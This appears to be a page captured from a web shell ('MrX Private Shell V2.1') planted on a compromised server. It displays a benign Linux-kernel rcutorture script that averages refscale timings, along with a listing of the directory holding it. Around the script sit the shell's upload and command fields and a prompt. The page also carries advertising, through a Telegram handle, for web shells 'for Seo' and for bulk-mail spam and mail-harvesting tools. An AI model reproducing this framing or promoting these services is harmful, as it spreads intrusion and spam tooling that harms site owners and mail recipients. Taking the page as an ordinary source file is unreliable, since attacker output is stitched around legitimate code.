__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0+
#
# Analyze a given results directory for refscale performance measurements.
#
# Usage: kvm-recheck-refscale.sh resdir
#
# Copyright (C) IBM Corporation, 2016
#
# Authors: Paul E. McKenney <[email protected]>

i="$1"
if test -d "$i" -a -r "$i"
then
	:
else
	echo Unreadable results directory: $i
	exit 1
fi
PATH=`pwd`/tools/testing/selftests/rcutorture/bin:$PATH; export PATH
. functions.sh

configfile=`echo $i | sed -e 's/^.*\///'`

sed -e 's/^\[[^]]*]//' < $i/console.log | tr -d '\015' |
awk -v configfile="$configfile" '
/^[ 	]*Runs	Time\(ns\) *$/ {
	if (dataphase + 0 == 0) {
		dataphase = 1;
		# print configfile, $0;
	}
	next;
}

/[^ 	]*[0-9][0-9]*	[0-9][0-9]*\.[0-9][0-9]*$/ {
	if (dataphase == 1) {
		# print $0;
		readertimes[++n] = $2;
		sum += $2;
	}
	next;
}

{
	if (dataphase == 1)
		dataphase == 2;
	next;
}

END {
	print configfile " results:";
	newNR = asort(readertimes);
	if (newNR <= 0) {
		print "No refscale records found???"
		exit;
	}
	medianidx = int(newNR / 2);
	if (newNR == medianidx * 2)
		medianvalue = (readertimes[medianidx - 1] + readertimes[medianidx]) / 2;
	else
		medianvalue = readertimes[medianidx];
	points = "Points:";
	for (i = 1; i <= newNR; i++)
		points = points " " readertimes[i];
	print points;
	print "Average reader duration: " sum / newNR " nanoseconds";
	print "Minimum reader duration: " readertimes[1];
	print "Median reader duration: " medianvalue;
	print "Maximum reader duration: " readertimes[newNR];
	print "Computed from refscale printk output.";
}'

Filemanager

Name Type Size Permission Actions
config2csv.sh File 1.81 KB 0755
configNR_CPUS.sh File 688 B 0755
config_override.sh File 823 B 0755
configcheck.sh File 1.05 KB 0755
configinit.sh File 1.29 KB 0755
console-badness.sh File 798 B 0755
cpus2use.sh File 829 B 0755
functions.sh File 7.97 KB 0755
jitter.sh File 2.19 KB 0755
jitterstart.sh File 994 B 0644
jitterstop.sh File 520 B 0644
kcsan-collapse.sh File 484 B 0755
kvm-again.sh File 4.83 KB 0755
kvm-assign-cpus.sh File 1.97 KB 0755
kvm-build.sh File 1.3 KB 0755
kvm-check-branches.sh File 3.23 KB 0755
kvm-end-run-stats.sh File 1.09 KB 0755
kvm-find-errors.sh File 1.94 KB 0755
kvm-get-cpus-script.sh File 2.27 KB 0755
kvm-recheck-lock.sh File 884 B 0755
kvm-recheck-rcu.sh File 2.09 KB 0755
kvm-recheck-rcuscale-ftrace.sh File 2.62 KB 0755
kvm-recheck-rcuscale.sh File 2.03 KB 0755
kvm-recheck-refscale.sh File 1.53 KB 0755
kvm-recheck-scf.sh File 930 B 0755
kvm-recheck.sh File 3.61 KB 0755
kvm-remote-noreap.sh File 629 B 0755
kvm-remote.sh File 8.42 KB 0755
kvm-test-1-run-batch.sh File 2.64 KB 0755
kvm-test-1-run-qemu.sh File 5.28 KB 0755
kvm-test-1-run.sh File 8.64 KB 0755
kvm-transform.sh File 3.19 KB 0755
kvm.sh File 19.36 KB 0755
mkinitrd.sh File 2.27 KB 0755
parse-build.sh File 1.1 KB 0755
parse-console.sh File 4.35 KB 0755
srcu_lockdep.sh File 1.77 KB 0755
torture.sh File 23.21 KB 0755
Filemanager